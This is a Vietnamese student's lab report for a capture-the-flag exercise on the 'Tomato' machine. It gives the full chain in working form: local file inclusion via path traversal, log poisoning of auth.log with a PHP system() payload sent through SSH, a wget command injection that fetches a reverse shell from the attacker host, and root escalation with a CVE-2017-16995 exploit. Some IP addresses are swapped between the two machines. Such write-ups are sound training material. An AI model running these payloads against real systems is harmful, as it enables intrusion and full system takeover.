You are on page 1of 29

BAN CƠ YẾU CHÍNH PHỦ

HỌC VIỆN KỸ THUẬT MẬT MÃ


¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯

HỌC PHẦN
TẤN CÔNG VÀ PHÒNG THỦ HỆ THỐNG

BÁO CÁO BÀI THỰC HÀNH


Lab 3 - Tomato

Họ tên SV : Nguyễn Văn Dũng


Lớp : AT17B
Mã SV : AT170213

Hà Nội, 2023

MỤC LỤC
MỤC LỤC.................................................................................................................2
MÔ HÌNH THỰC NGHIỆM.....................................................................................3
THỰC NGHIỆM.......................................................................................................4
MÔ HÌNH THỰC NGHIỆM

Parrot: 192.168.91.137 Tomato: 192.168.91.138

THỰC NGHIỆM
Trên Parrot, kiểm tra địa chỉ ip

=> Tìm được dải mạng 192.168.91.0


Dùng netdiscover để tìm ip máy mục tiêu.: netdiscover -r 192.168.91.0/24
Ta thu được ip là 192.168.91.138

Quét địa chỉ trên với nmap: nmap –p- -A 192.168.91.138


Sau khi quét xong, ta thấy cổng 21 FTP, 80 HTTP, 2211/SSH và 8888/HTTP chạy
Nginx HTTP Server đang mở
Bắt đầu với cổng 80, dùng dirb để liệt kê các thư mục
Truy cập đường dẫn dirb trả về
Sau khi kiểm tra các tệp tin, có một file info.php cung cấp thông tin hệ thống,
phiên bản... Truy cập để xem thông tin
Tiến hành View-Source ta nhận được nội dung sau
</?php include $_GET['image']; ?> gợi ý cho chúng ta về lỗ hổng Local File
Inclusion (LFI)
LFI là kỹ thuật đọc một file trong hệ thống, nếu khai thác được lỗi này, hacker có
thể xem được rất nhiều thông tin của server như các file: passwd, php.ini,
access_log,… (biết được các thông tin nhạy cảm) tùy theo mức độ bảo mật của
server.
Bước 9: Như đã nói, lỗi trên sẽ cho phép tải tệp lên qua URL. Hãy kiểm tra thử
http://192.168.91.138/antibot_image/antibots/info.php?
image=../../../../../../../../../../../../etc/passwd
=> Trang web này rất dễ bị tấn công LFI
Với LFI trong tay, lần lượt tìm đọc các nội dung quan trọng và phát hiện auth.log
có thể đọc được thông qua lỗ hổng này.
http://192.168.91.138/antibot_image/antibots/info.php?image=/var/log/
auth.log&cmd=id
"auth.log" là file lưu trữ nhật ký truy cập hệ thống. Khi chúng ta đăng nhập thông
qua giao diện chính hay qua SSH thì các thông tin đều được lưu trữ tại đây kể cả
thành công hay thất bại.
Giờ ta sẽ đăng nhập bằng SSH, sau đó thay đổi người dùng bằng mã PHP cho phép
thực thi lệnh
ssh '<?php echo system($_REQUEST['cmd']); ?>'@192.168.91.138 –p 2211
Khi dùng payload này nó sẽ ghi vào file auth.log tức nó sẽ thực thi lệnh “<?php
system($_GET["cmd"]);?> trong file auth.log khi ta gọi file bên parrot.
Truy cập http://192.168.91.138/antibot_image/antibots/info.php?image=/var/log/
auth.log&cmd=id để kiểm tra xem nó có đang hoạt động không
Tải file revershell và chỉnh sửa file vừa tải về, chuyển sang thư mục /root
https://pentestmonkey.net/tools/web-shells/php-reverse-shell
Build 1 web-server đơn giản trên máy attacker
Truy cập http://192.168.91.137/antibot_image/antibots/info.php?image=/var/log/
auth.log&cmd=wget%20192.168.91.138:8081/php-reverse-shell.php%20-O%20/
tmp/shell_hack.php để tải xuống Revershell về máy Tomato trên Parrot

Thực thi Shell và dùng Netcat để lắng nghe kết nối đến
http://192.168.91.138/antibot_image/antibots/info.php?image=/tmp/shell_hack.php
+ Session đã mở chèn reverse code thành công
Kiểm tra phiên bản Kernel bằng các dùng lệnh
Phiên bản Kernel tồn tại lỗ hổng cho phép leo thang đặc quyền.
Up shell sử dụng python
python3 -c 'import pty; pty.spawn("/bin/bash")'
Thực hiện leo thang lên quyền root sử dụng CVE: 2017-16995
https://www.exploit-db.com/exploits/45010
+ Tải file khai thác CVE
cd /tmp
wget https://www.exploit-db.com/raw/45010 -O exploit.c
+ Compile file .c gcc-5 exploit.c -o exploit –pthread

+ Cấp quyền excute và chạy file


Thực hiện download mã khai thác và biên dịch với GCC trên máy Attacker
Wget https://www.exploit-db.com/raw/45010 -o exploit.c
Nâng lên TTY shell và chuyển mã khai thác sang Tomato và thực thi

Cấp quyền thực thi và tiến hành chạy mã để in ra leo thang

Kết quả leo thang đặc quyền lên user root.


Tìm thấy file proof.txt trong folder /root trên máy Tomato

You might also like